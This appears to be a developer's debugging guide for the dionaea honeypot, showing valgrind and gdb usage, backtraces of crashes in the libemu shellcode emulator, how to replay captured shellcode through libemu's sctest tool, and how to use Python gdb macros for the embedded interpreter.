In case you experience a segfault, you will see something like this:
This is the end.
This software just had a segmentation fault.
The bug you encountered may even be exploitable.
If you want to assist in fixing the bug, please send the backtrace below to nepenthesdev@gmail.com.
You can create better backtraces with gdb, for more information visit http://dionaea.carnivore.it/#segfault
Once you read this message, your tty may be broken, simply type reset, so it will come to life again

While the backtrace itself gives an idea what might be wrong, it does not fix the problem. To fix the problem, the logfiles usually help, as dionaea is very verbose by default. Below are some hints how to get started with debugging, click here for assistance.



Valgrind does a great job, here is how I use it:
valgrind -v --leak-check=full --leak-resolution=high --show-reachable=yes \
--log-file=dionaea-debug.log /opt/dionaea/bin/dionaea --my-dionaea-options


logfile assisted
For the above example, I was able to scrape the shellcode from the logfile, and run it in libemu, without involving dionaea at all, reducing the problem.
gdb /opt/dionaea/bin/sctest
(gdb) run -S -s 10000000 -g < sc.bin
Starting program: /media/sda4/opt64/dionaea/bin/sctest -S -s 10000000 -g < sc.bin
Once it crashed, I retrieved a full backtrace:
Program received signal SIGSEGV, Segmentation fault.
env_w32_hook_GetProcAddress (env=0x629a30, hook=<value optimized out>) at environment/win32/env_w32_dll_export_kernel32_hooks.c:545
545                             struct emu_env_hook *hook = (struct emu_env_hook *)ehi->value;

(gdb) bt full
#0  env_w32_hook_GetProcAddress (env=0x629a30, hook=<value optimized out>) at environment/win32/env_w32_dll_export_kernel32_hooks.c:545
        dll = 0x6366f0
        ehi = <value optimized out>
        hook = <value optimized out>
        c = 0x611180
        mem = <value optimized out>
        eip_save = <value optimized out>
        module = 2088763392
        p_procname = 4289925
        procname = <value optimized out>
#1  0x00007ffff7b884fb in emu_env_w32_eip_check (env=0x629a30) at environment/win32/emu_env_w32.c:306
        dll = <value optimized out>
        ehi = <value optimized out>
        hook = 0x64c5b0
        eip = <value optimized out>
#2  0x0000000000403995 in test (e=0x60f0e0) at sctestmain.c:277
        hook = 0xe2
        ev = 0x0
        iv = <value optimized out>
        cpu = 0x611180
        mem = <value optimized out>
        env = 0x629a30
        na = <value optimized out>
        j = 7169
        last_vertex = 0x0
        graph = 0x0
        eh = 0x0
        ehi = 0x0
        ret = <value optimized out>
        eipsave = 2088807840
#3  0x00000000004044e4 in main (argc=5, argv=0x7fffffffe388) at sctestmain.c:971
        e = <value optimized out>
In this case, the problem was a bug in libemu.
gdb dump memory
Once again, it broke, and we got a backtrace:
#0  0xb70b0b57 in emu_queue_enqueue (eq=0xb3da0918, data=0x4724ab) at emu_queue.c:63
        eqi = (struct emu_queue_item *) 0x0
#1  0xb70b15d1 in emu_shellcode_run_and_track (e=0xb4109cd0, data=0xb411c698 "", datasize=<value optimized out>, eipoffset=<value optimized out>, 
    steps=256, etas=0xb410cd60, known_positions=0xb3d7a810, stats_tested_positions_list=0xb3da3bf0, brute_force=true) at emu_shellcode.c:408
        current_pos_ti_diff = (struct emu_tracking_info *) 0x88c3c88
        current_pos_ht = <value optimized out>
        current_pos_v = <value optimized out>
        current_pos_satii = (struct emu_source_and_track_instr_info *) 0xb407e7f8
        bfs_queue = (struct emu_queue *) 0xb3e17668
        ret = 4662443
        eipsave = <value optimized out>
        hook = <value optimized out>
        j = 4
        es = <value optimized out>
        eli = (struct emu_list_item *) 0xb3e17658
        cpu = (struct emu_cpu *) 0xb4109ab0
        mem = (struct emu_memory *) 0xb410c3a0
        eq = (struct emu_queue *) 0xb3da0918
        env = (struct emu_env *) 0xb3e10208
        eli = (struct emu_list_item *) 0x4724ab
#2  0xb70b1a2a in emu_shellcode_test (e=0xb4109cd0, data=0xb411c698 "", size=<value optimized out>) at emu_shellcode.c:546
        es = (struct emu_stats *) 0xb3d92b28
        new_results = (struct emu_list_root *) 0xb3da3bf0
        offset = <value optimized out>
        el = (struct emu_list_root *) 0xb4100510
        etas = (struct emu_track_and_source *) 0xb410cd60
        eh = (struct emu_hashtable *) 0xb3d7a810
        eli = (struct emu_list_item *) 0xb3d92b40
        results = (struct emu_list_root *) 0xb3d82850
        es = <value optimized out>
        __PRETTY_FUNCTION__ = "emu_shellcode_test"
#3  0xb712140c in proc_emu_on_io_in (con=0x8864b58, pd=0x87dc388) at detect.c:145
        e = (struct emu *) 0xb4109cd0
        ctx = (struct emu_ctx *) 0x87a2400
        offset = 14356
        streamdata = (void *) 0xb411c698
        size = 8196
        ret = 0
        __PRETTY_FUNCTION__ = "proc_emu_on_io_in"
#4  0x0805e8be in recurse_io_process (pd=0x87dc388, con=0x8864b58, dir=bistream_in) at processor.c:167
No locals.
#5  0x0805ea01 in processors_io_in_thread (data=0x8864b58, userdata=0x87dc388) at processor.c:197
        con = (struct connection *) 0x8864b58
        pd = (struct processor_data *) 0x87dc388
        __PRETTY_FUNCTION__ = "processors_io_in_thread"
#6  0x0805d2da in threadpool_wrapper (data=0x87d7bd0, user_data=0x0) at threads.c:49
        t = (struct thread *) 0x87d7bd0
        timer = (GTimer *) 0xb4108540
#7  0xb77441f6 in g_thread_pool_thread_proxy (data=0x83db460) at gthreadpool.c:265
        task = (gpointer) 0x87d7bd0
        pool = (GRealThreadPool *) 0x83db460
#8  0xb7742b8f in g_thread_create_proxy (data=0x83dc7d0) at gthread.c:635
        __PRETTY_FUNCTION__ = "g_thread_create_proxy"
#9  0xb76744c0 in start_thread () from /lib/i686/cmov/libpthread.so.0
No symbol table info available.
#10 0xb75f36de in clone () from /lib/i686/cmov/libc.so.6
No symbol table info available.
Again, it was a bug in libemu, an unbreakable loop consuming all memory. To reproduce, we have to dump the tested buffer, therefore we need the buffers address and size. Luckily the size is noted in frame #2 as 8196 and and the data address is a parameter which got not optimized out for frame #2.
dump binary memory /tmp/sc.bin 0xb411c698 0xb411e89c
Afterwards, debugging libemu by feeding the data into sctest is easy.

I've had fun with objgraph and gdb debugging reference count leaks in python too, here is the writeup.
gdb python3 embedded
Sometimes, there is something wrong with the python scripts, but gdb does not provide any useful output:
bt full
#12 0xb765f12d in PyEval_EvalFrameEx (f=0x825998c, throwflag=0) at Python/ceval.c:2267
        stack_pointer = (PyObject **) 0x8259af0
        next_instr = (unsigned char *) 0x812fabf "m'"
        opcode = 100
        oparg = <value optimized out>
        why = 3071731824
        err = 1
        x = (PyObject *) 0xb7244aac
        v = <value optimized out>
        w = (PyObject *) 0xadb5e4dc
        u = (PyObject *) 0xb775ccb0
        freevars = (PyObject **) 0x8259af0
        retval = (PyObject *) 0x0
        tstate = (PyThreadState *) 0x809aab0
        co = (PyCodeObject *) 0xb717b800
        instr_ub = -1
        instr_lb = 0
        instr_prev = -1
        first_instr = (unsigned char *) 0x812f918 "t"
        names = (PyObject *) 0xb723f50c
        consts = (PyObject *) 0xb71c9f7c
        opcode_targets = {0xb765d202, 0xb765f60a, 0xb766133a, 0xb76612db, 0xb7661285, 0xb7661222, 0xb765d202, 0xb765d202, 0xb765d202, 0xb76611dd, 
  0xb766114b, 0xb76610b9, 0xb766100f, 0xb765d202, 0xb765d202, 0xb7660f7d, 0xb765d202, 0xb765d202, 0xb765d202, 0xb7660eb7, 0xb7660dfb, 0xb765d202, 
  0xb7660d30, 0xb7660c65, 0xb7660ba9, 0xb7660aed, 0xb7660a31, 0xb7660975, 0xb76608b9, 0xb76607fd, 0xb765d202 <repeats 24 times>, 0xb7660736, 0xb766066b, 
  0xb76605af, 0xb76604f3, 0xb765d202, 0xb7660437, 0xb766035d, 0xb76602ad, 0xb7661aba, 0xb76619fe, 0xb7661942, 0xb7661886, 0xb7661b76, 0xb76614a8, 
  0xb7661413, 0xb766138e, 0xb766171f, 0xb76616e6, 0xb765d202, 0xb765d202, 0xb765d202, 0xb766162a, 0xb766156e, 0xb76601f1, 0xb7660135, 0xb76617ca, 
  0xb7660120, 0xb765fff7, 0xb765d202, 0xb765fd72, 0xb765fc6e, 0xb765d202, 0xb765fc1d, 0xb765fe17, 0xb765fd90, 0xb765fec0, 0xb765fb41, 0xb765fadc, 
  0xb765f9ed, 0xb765f94d, 0xb765f8be, 0xb765f7e3, 0xb765f779, 0xb765f6bd, 0xb765f66c, 0xb765ef1d, 0xb765eea2, 0xb765ede1, 0xb765ed1a, 0xb765ec35, 
  0xb765ebc3, 0xb765eb30, 0xb765ea69, 0xb765f1c7, 0xb765f027, 0xb765f560, 0xb765efc1, 0xb76630e3, 0xb766310c, 0xb765e64c, 0xb765e592, 0xb765f49a, 
  0xb765f3de, 0xb765d202, 0xb765d202, 0xb765f39e, 0xb7663135, 0xb766315f, 0xb765e9cb, 0xb765d202, 0xb765e948, 0xb765e8bb, 0xb765e817, 0xb765d202, 
  0xb765d202, 0xb765d202, 0xb765d2ae, 0xb765e3e0, 0xb7663275, 0xb765e1a2, 0xb766324e, 0xb765e0ba, 0xb765e01e, 0xb765df74, 0xb765d202, 0xb765d202, 
  0xb7663189, 0xb76631d3, 0xb7663220, 0xb765e149, 0xb765d202, 0xb765de09, 0xb765dec0, 0xb765f2c0, 0xb765d202 <repeats 108 times>}
#13 0xb7664ac0 in PyEval_EvalCodeEx (co=0xb717b800, globals=0xb7160b54, locals=0x0, args=0x84babb8, argcount=9, kws=0x0, kwcount=0, defs=0xb719e978, 
    defcount=1, kwdefs=0x0, closure=0x0) at Python/ceval.c:3198
        f = (PyFrameObject *) 0x825998c
        retval = <value optimized out>
        freevars = (PyObject **) 0x8259af0
        tstate = (PyThreadState *) 0x809aab0
        x = <value optimized out>
        u = <value optimized out>
Luckily python3 ships with some gdb macros, which assist in dealing with this mess. You can grab them over here, place them to ~/.gdbinit, where ~ is the homedirectory of the user dionaea runs as.
If you get warning: not using untrusted file "/home/user/.gdbinit" you are running gdb via sudo, and the file /home/user/.gdbinit has to be owned by root.
If you are running as root, and you get Program received signal SIGTTOU, Stopped (tty output)., run stty -nostop before running gdb, reattach the process with fg, close gdb properly, and start over.

Once you got the macros loaded properly at gdb startup, set a breakpoint on PyEval_EvalFrameEx after dionaea loaded everything:
break PyEval_EvalFrameEx
Then we have some useful macros for gdb:
pyframev combines the output of pyframe and pylocals.

Be aware you can segfault dionaea now from within gdb, going up, out of the python call stack and calling some of the macros can and in most cases will segfault dionaea, therefore use backtrace to make sure you are still within valid frames.
We can't use pystack or pystackv as they rely on Py_Main, which is an invalid assumption for embedded python.

Cui honorem, honorem

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